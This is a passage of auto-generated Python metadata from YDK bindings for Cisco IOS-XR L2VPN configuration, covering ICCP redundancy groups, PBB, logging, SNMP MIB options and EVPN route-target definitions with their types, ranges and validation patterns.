'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'flexible-xconnect-service-table', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Database.Redundancy.IccpRedundancyGroups.IccpRedundancyGroup.IccpInterfaces.IccpInterface' : { 'meta_info' : _MetaInfoClass('L2Vpn.Database.Redundancy.IccpRedundancyGroups.IccpRedundancyGroup.IccpInterfaces.IccpInterface', False, [ _MetaInfoClassMember('interface-name', ATTRIBUTE, 'str' , None, None, [], ['(([a-zA-Z0-9_]*\\d+/){3,4}\\d+)|(([a-zA-Z0-9_]*\\d+/){3,4}\\d+\\.\\d+)|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]*\\d+))|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]+))|([a-zA-Z0-9_-]*\\d+)|([a-zA-Z0-9_-]*\\d+\\.\\d+)|(mpls)|(dwdm)'], ''' Interface name ''', 'interface_name', 'Cisco-IOS-XR-l2vpn-cfg', True), _MetaInfoClassMember('mac-flush-tcn', ATTRIBUTE, 'Empty' , None, None, [], [], ''' Enable STP-TCN MAC flushing ''', 'mac_flush_tcn', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('primary-vlan-range', ATTRIBUTE, 'str' , None, None, [], [], ''' Primary VLAN range, in the form of 1-3,5 ,8-11 ''', 'primary_vlan_range', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('recovery-delay', ATTRIBUTE, 'int' , None, None, [('30', '3600')], [], ''' Failure clear recovery delay ''', 'recovery_delay', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('secondary-vlan-range', ATTRIBUTE, 'str' , None, None, [], [], ''' Secondary VLAN range, in the form of 1-3,5 ,8-11 ''', 'secondary_vlan_range', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'iccp-interface', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Database.Redundancy.IccpRedundancyGroups.IccpRedundancyGroup.IccpInterfaces' : { 'meta_info' : _MetaInfoClass('L2Vpn.Database.Redundancy.IccpRedundancyGroups.IccpRedundancyGroup.IccpInterfaces', False, [ _MetaInfoClassMember('iccp-interface', REFERENCE_LIST, 'IccpInterface' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Database.Redundancy.IccpRedundancyGroups.IccpRedundancyGroup.IccpInterfaces.IccpInterface', [], [], ''' Interface name ''', 'iccp_interface', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'iccp-interfaces', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Database.Redundancy.IccpRedundancyGroups.IccpRedundancyGroup' : { 'meta_info' : _MetaInfoClass('L2Vpn.Database.Redundancy.IccpRedundancyGroups.IccpRedundancyGroup', False, [ _MetaInfoClassMember('group-id', ATTRIBUTE, 'int' , None, None, [('-2147483648', '2147483647')], [], ''' Group ID ''', 'group_id', 'Cisco-IOS-XR-l2vpn-cfg', True), _MetaInfoClassMember('iccp-interfaces', REFERENCE_CLASS, 'IccpInterfaces' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Database.Redundancy.IccpRedundancyGroups.IccpRedundancyGroup.IccpInterfaces', [], [], ''' List of interfaces ''', 'iccp_interfaces', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('multi-homing-node-id', ATTRIBUTE, 'int' , None, None, [('0', '254')], [], ''' ICCP-based service multi-homing node ID ''', 'multi_homing_node_id', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'iccp-redundancy-group', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Database.Redundancy.IccpRedundancyGroups' : { 'meta_info' : _MetaInfoClass('L2Vpn.Database.Redundancy.IccpRedundancyGroups', False, [ _MetaInfoClassMember('iccp-redundancy-group', REFERENCE_LIST, 'IccpRedundancyGroup' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Database.Redundancy.IccpRedundancyGroups.IccpRedundancyGroup', [], [], ''' ICCP Redundancy group ''', 'iccp_redundancy_group', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'iccp-redundancy-groups', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Database.Redundancy' : { 'meta_info' : _MetaInfoClass('L2Vpn.Database.Redundancy', False, [ _MetaInfoClassMember('enable', ATTRIBUTE, 'Empty' , None, None, [], [], ''' Enable redundancy groups ''', 'enable', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('iccp-redundancy-groups', REFERENCE_CLASS, 'IccpRedundancyGroups' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Database.Redundancy.IccpRedundancyGroups', [], [], ''' List of Inter-Chassis Communication Protocol redundancy groups ''', 'iccp_redundancy_groups', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'redundancy', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Database' : { 'meta_info' : _MetaInfoClass('L2Vpn.Database', False, [ _MetaInfoClassMember('bridge-domain-groups', REFERENCE_CLASS, 'BridgeDomainGroups' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Database.BridgeDomainGroups', [], [], ''' List of bridge groups ''', 'bridge_domain_groups', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('flexible-xconnect-service-table', REFERENCE_CLASS, 'FlexibleXconnectServiceTable' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Database.FlexibleXconnectServiceTable', [], [], ''' List of Flexible XConnect Services ''', 'flexible_xconnect_service_table', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('g8032-rings', REFERENCE_CLASS, 'G8032Rings' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Database.G8032Rings', [], [], ''' List of G8032 Ring ''', 'g8032_rings', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('pseudowire-classes', REFERENCE_CLASS, 'PseudowireClasses' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Database.PseudowireClasses', [], [], ''' List of pseudowire classes ''', 'pseudowire_classes', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('redundancy', REFERENCE_CLASS, 'Redundancy' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Database.Redundancy', [], [], ''' Redundancy groups ''', 'redundancy', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('xconnect-groups', REFERENCE_CLASS, 'XconnectGroups' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Database.XconnectGroups', [], [], ''' List of xconnect groups ''', 'xconnect_groups', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'database', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Pbb' : { 'meta_info' : _MetaInfoClass('L2Vpn.Pbb', False, [ _MetaInfoClassMember('backbone-source-mac', ATTRIBUTE, 'str' , None, None, [], ['[0-9a-fA-F]{2}(:[0-9a-fA-F]{2}){5}'], ''' Backbone Source MAC ''', 'backbone_source_mac', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'pbb', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.AutoDiscovery.BgpSignaling' : { 'meta_info' : _MetaInfoClass('L2Vpn.AutoDiscovery.BgpSignaling', False, [ _MetaInfoClassMember('mtu-mismatch-ignore', ATTRIBUTE, 'Empty' , None, None, [], [], ''' Ignore MTU mismatch for auto-discovered pseudowires ''', 'mtu_mismatch_ignore', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'bgp-signaling', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.AutoDiscovery' : { 'meta_info' : _MetaInfoClass('L2Vpn.AutoDiscovery', False, [ _MetaInfoClassMember('bgp-signaling', REFERENCE_CLASS, 'BgpSignaling' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.AutoDiscovery.BgpSignaling', [], [], ''' Global bgp signaling attributes ''', 'bgp_signaling', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'auto-discovery', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Utility.Logging' : { 'meta_info' : _MetaInfoClass('L2Vpn.Utility.Logging', False, [ _MetaInfoClassMember('bridge-domain-state-change', ATTRIBUTE, 'Empty' , None, None, [], [], ''' Enable Bridge Domain state change logging ''', 'bridge_domain_state_change', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('nsr-state-change', ATTRIBUTE, 'Empty' , None, None, [], [], ''' Enable Non Stop Routing state change logging ''', 'nsr_state_change', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('pseudowire-state-change', ATTRIBUTE, 'Empty' , None, None, [], [], ''' Enable pseudowire state change logging ''', 'pseudowire_state_change', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('pwhe-replication-state-change', ATTRIBUTE, 'Empty' , None, None, [], [], ''' Enable PW-HE Replication state change logging ''', 'pwhe_replication_state_change', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('vfi', ATTRIBUTE, 'Empty' , None, None, [], [], ''' Enable VFI state change logging ''', 'vfi', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'logging', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Utility' : { 'meta_info' : _MetaInfoClass('L2Vpn.Utility', False, [ _MetaInfoClassMember('logging', REFERENCE_CLASS, 'Logging' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Utility.Logging', [], [], ''' L2VPN logging utility ''', 'logging', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'utility', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Snmp.Mib.MibInterface.Format' : { 'meta_info' : _MetaInfoClass('L2Vpn.Snmp.Mib.MibInterface.Format', False, [ _MetaInfoClassMember('external-interface-format', ATTRIBUTE, 'Empty' , None, None, [], [], ''' Set MIB interface name output in slash format (/) ''', 'external_interface_format', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'format', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Snmp.Mib.MibInterface' : { 'meta_info' : _MetaInfoClass('L2Vpn.Snmp.Mib.MibInterface', False, [ _MetaInfoClassMember('format', REFERENCE_CLASS, 'Format' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Snmp.Mib.MibInterface.Format', [], [], ''' MIB interface name output format ''', 'format', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'mib-interface', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Snmp.Mib.MibPseudowire' : { 'meta_info' : _MetaInfoClass('L2Vpn.Snmp.Mib.MibPseudowire', False, [ _MetaInfoClassMember('statistics', ATTRIBUTE, 'Empty' , None, None, [], [], ''' Enable pseudowire statistics in MIB output ''', 'statistics', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'mib-pseudowire', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Snmp.Mib' : { 'meta_info' : _MetaInfoClass('L2Vpn.Snmp.Mib', False, [ _MetaInfoClassMember('mib-interface', REFERENCE_CLASS, 'MibInterface' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Snmp.Mib.MibInterface', [], [], ''' Interface related configuration for MIB ''', 'mib_interface', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('mib-pseudowire', REFERENCE_CLASS, 'MibPseudowire' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Snmp.Mib.MibPseudowire', [], [], ''' Pseudowire related configuration for MIB ''', 'mib_pseudowire', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'mib', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Snmp' : { 'meta_info' : _MetaInfoClass('L2Vpn.Snmp', False, [ _MetaInfoClassMember('mib', REFERENCE_CLASS, 'Mib' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Snmp.Mib', [], [], ''' MIB related configuration ''', 'mib', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'snmp', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn' : { 'meta_info' : _MetaInfoClass('L2Vpn', False, [ _MetaInfoClassMember('auto-discovery', REFERENCE_CLASS, 'AutoDiscovery' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.AutoDiscovery', [], [], ''' Global auto-discovery attributes ''', 'auto_discovery', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('capability', REFERENCE_ENUM_CLASS, 'L2VpnCapabilityModeEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2VpnCapabilityModeEnum', [], [], ''' L2VPN Capability Mode ''', 'capability', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('database', REFERENCE_CLASS, 'Database' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Database', [], [], ''' L2VPN databases ''', 'database', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('enable', ATTRIBUTE, 'Empty' , None, None, [], [], ''' Enable L2VPN feature ''', 'enable', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('l2vpn-router-id', ATTRIBUTE, 'str' , None, None, [], ['(([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])\\.){3}([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(%[\\p{N}\\p{L}]+)?'], ''' Global L2VPN Router ID ''', 'l2vpn_router_id', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('load-balance', REFERENCE_ENUM_CLASS, 'LoadBalanceEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'LoadBalanceEnum', [], [], ''' Enable flow load balancing on l2vpn bridges ''', 'load_balance', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('mspw-description', ATTRIBUTE, 'str' , None, None, [(0, 64)], [], ''' MS-PW global description ''', 'mspw_description', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('mtu-mismatch-ignore', ATTRIBUTE, 'Empty' , None, None, [], [], ''' Ignore MTU Mismatch for XCs ''', 'mtu_mismatch_ignore', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('neighbor', REFERENCE_CLASS, 'Neighbor' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Neighbor', [], [], ''' L2VPN neighbor submode ''', 'neighbor', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('nsr', ATTRIBUTE, 'Empty' , None, None, [], [], ''' Enable Non-Stop Routing ''', 'nsr', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('pbb', REFERENCE_CLASS, 'Pbb' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Pbb', [], [], ''' L2VPN PBB Global ''', 'pbb', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('pw-grouping', ATTRIBUTE, 'Empty' , None, None, [], [], ''' Enable PW grouping ''', 'pw_grouping', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('pw-routing', REFERENCE_CLASS, 'PwRouting' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.PwRouting', [], [], ''' Pseudowire-routing attributes ''', 'pw_routing', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('pw-status-disable', ATTRIBUTE, 'Empty' , None, None, [], [], ''' Disable PW status ''', 'pw_status_disable', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('pwoam-refresh', ATTRIBUTE, 'int' , None, None, [('1', '4095')], [], ''' Configure PW OAM refresh interval ''', 'pwoam_refresh', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('snmp', REFERENCE_CLASS, 'Snmp' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Snmp', [], [], ''' SNMP related configuration ''', 'snmp', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('tcn-propagation', ATTRIBUTE, 'Empty' , None, None, [], [], ''' Topology change notification propagation ''', 'tcn_propagation', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('utility', REFERENCE_CLASS, 'Utility' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Utility', [], [], ''' L2VPN utilities ''', 'utility', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'l2vpn', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'GenericInterfaceLists.GenericInterface.Interfaces.Interface' : { 'meta_info' : _MetaInfoClass('GenericInterfaceLists.GenericInterface.Interfaces.Interface', False, [ _MetaInfoClassMember('interface-name', ATTRIBUTE, 'str' , None, None, [], ['(([a-zA-Z0-9_]*\\d+/){3,4}\\d+)|(([a-zA-Z0-9_]*\\d+/){3,4}\\d+\\.\\d+)|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]*\\d+))|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]+))|([a-zA-Z0-9_-]*\\d+)|([a-zA-Z0-9_-]*\\d+\\.\\d+)|(mpls)|(dwdm)'], ''' Name of the interface ''', 'interface_name', 'Cisco-IOS-XR-l2vpn-cfg', True), _MetaInfoClassMember('enable', ATTRIBUTE, 'Empty' , None, None, [], [], ''' Enable interface ''', 'enable', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'interface', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'GenericInterfaceLists.GenericInterface.Interfaces' : { 'meta_info' : _MetaInfoClass('GenericInterfaceLists.GenericInterface.Interfaces', False, [ _MetaInfoClassMember('interface', REFERENCE_LIST, 'Interface' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'GenericInterfaceLists.GenericInterface.Interfaces.Interface', [], [], ''' Interface ''', 'interface', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'interfaces', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'GenericInterfaceLists.GenericInterface' : { 'meta_info' : _MetaInfoClass('GenericInterfaceLists.GenericInterface', False, [ _MetaInfoClassMember('generic-interface-list-name', ATTRIBUTE, 'str' , None, None, [(0, 32)], [], ''' Name of the interface list ''', 'generic_interface_list_name', 'Cisco-IOS-XR-l2vpn-cfg', True), _MetaInfoClassMember('enable', ATTRIBUTE, 'Empty' , None, None, [], [], ''' Enable interface list ''', 'enable', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('interfaces', REFERENCE_CLASS, 'Interfaces' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'GenericInterfaceLists.GenericInterface.Interfaces', [], [], ''' Interface table ''', 'interfaces', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'generic-interface', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'GenericInterfaceLists' : { 'meta_info' : _MetaInfoClass('GenericInterfaceLists', False, [ _MetaInfoClassMember('generic-interface', REFERENCE_LIST, 'GenericInterface' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'GenericInterfaceLists.GenericInterface', [], [], ''' Bridge group ''', 'generic_interface', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'generic-interface-lists', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'Evpn.EvpnTables.EvpnTimers' : { 'meta_info' : _MetaInfoClass('Evpn.EvpnTables.EvpnTimers', False, [ _MetaInfoClassMember('enable', ATTRIBUTE, 'Empty' , None, None, [], [], ''' Enable EVPN timers ''', 'enable', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('evpn-peering', ATTRIBUTE, 'int' , None, None, [('0', '300')], [], ''' Global Peering timer ''', 'evpn_peering', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('evpn-recovery', ATTRIBUTE, 'int' , None, None, [('20', '3600')], [], ''' Global Recovery timer ''', 'evpn_recovery', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'evpn-timers', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'Evpn.EvpnTables.Evpnevis.Evpnevi.EviLoadBalancing' : { 'meta_info' : _MetaInfoClass('Evpn.EvpnTables.Evpnevis.Evpnevi.EviLoadBalancing', False, [ _MetaInfoClassMember('enable', ATTRIBUTE, 'Empty' , None, None, [], [], ''' Enable EVI Loadbalancing ''', 'enable', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('evi-flow-label', ATTRIBUTE, 'Empty' , None, None, [], [], ''' Enable Flow Label based load balancing ''', 'evi_flow_label', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'evi-load-balancing', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'Evpn.EvpnTables.Evpnevis.Evpnevi.EvpnevibgpAutoDiscovery.EvpnRouteTargets.EvpnRouteTarget.TwoByteAsOrFourByteAs' : { 'meta_info' : _MetaInfoClass('Evpn.EvpnTables.Evpnevis.Evpnevi.EvpnevibgpAutoDiscovery.EvpnRouteTargets.EvpnRouteTarget.TwoByteAsOrFourByteAs', False, [ _MetaInfoClassMember('as', ATTRIBUTE, 'int' , None, None, [('1', '4294967295')], [], ''' Two byte or 4 byte AS number ''', 'as_', 'Cisco-IOS-XR-l2vpn-cfg', True), _MetaInfoClassMember('as-index', ATTRIBUTE, 'int' , None, None, [('0', '4294967295')], [], ''' AS:nn (hex or decimal format) ''', 'as_index', 'Cisco-IOS-XR-l2vpn-cfg', True), ], 'Cisco-IOS-XR-l2vpn-cfg', 'two-byte-as-or-four-byte-as', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'Evpn.EvpnTables.Evpnevis.Evpnevi.EvpnevibgpAutoDiscovery.EvpnRouteTargets.EvpnRouteTarget.Ipv4Address' : { 'meta_info' : _MetaInfoClass('Evpn.EvpnTables.Evpnevis.Evpnevi.EvpnevibgpAutoDiscovery.EvpnRouteTargets.EvpnRouteTarget.Ipv4Address', False, [ _MetaInfoClassMember('addr-index', ATTRIBUTE, 'int' , None, None, [('0', '65535')], [], ''' Addr index ''', 'addr_index', 'Cisco-IOS-XR-l2vpn-cfg', True), _MetaInfoClassMember('address', ATTRIBUTE, 'str' , None, None, [], ['(([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])\\.){3}([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(%[\\p{N}\\p{L}]+)?'], ''' IPV4 address ''', 'address', 'Cisco-IOS-XR-l2vpn-cfg', True), ], 'Cisco-IOS-XR-l2vpn-cfg', 'ipv4-address', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'Evpn.EvpnTables.Evpnevis.Evpnevi.EvpnevibgpAutoDiscovery.EvpnRouteTargets.EvpnRouteTarget' : { 'meta_info' : _MetaInfoClass('Evpn.EvpnTables.Evpnevis.Evpnevi.EvpnevibgpAutoDiscovery.EvpnRouteTargets.EvpnRouteTarget', False, [ _MetaInfoClassMember('format', REFERENCE_ENUM_CLASS, 'BgpRouteTargetFormatEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'BgpRouteTargetFormatEnum', [], [], ''' Format of the route target ''', 'format', 'Cisco-IOS-XR-l2vpn-cfg', True), _MetaInfoClassMember('role', REFERENCE_ENUM_CLASS, 'BgpRouteTargetRoleEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'BgpRouteTargetRoleEnum', [], [], ''' Role of the router target type ''', 'role', 'Cisco-IOS-XR-l2vpn-cfg', True), _MetaInfoClassMember('stitching', REFERENCE_ENUM_CLASS, 'BgpRouteTargetEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'BgpRouteTargetEnum', [], [], ''' whether RT is Stitching RT ''', 'stitching', 'Cisco-IOS-XR-l2vpn-cfg', True), _MetaInfoClassMember('ipv4-address', REFERENCE_LIST, 'Ipv4Address' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'Evpn.EvpnTables.Evpnevis.Evpnevi.EvpnevibgpAutoDiscovery.EvpnRouteTargets.EvpnRouteTarget.Ipv4Address', [], [], ''' ipv4 address ''', 'ipv4_address', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('two-byte-as-or-four-byte-as', REFERENCE_LIST, 'TwoByteAsOrFourByteAs' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'Evpn.EvpnTables.Evpnevis.Evpnevi.EvpnevibgpAutoDiscovery.EvpnRouteTargets.EvpnRouteTarget.TwoByteAsOrFourByteAs', [], [], ''' two byte as or four byte as ''', 'two_byte_as_or_four_byte_as', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 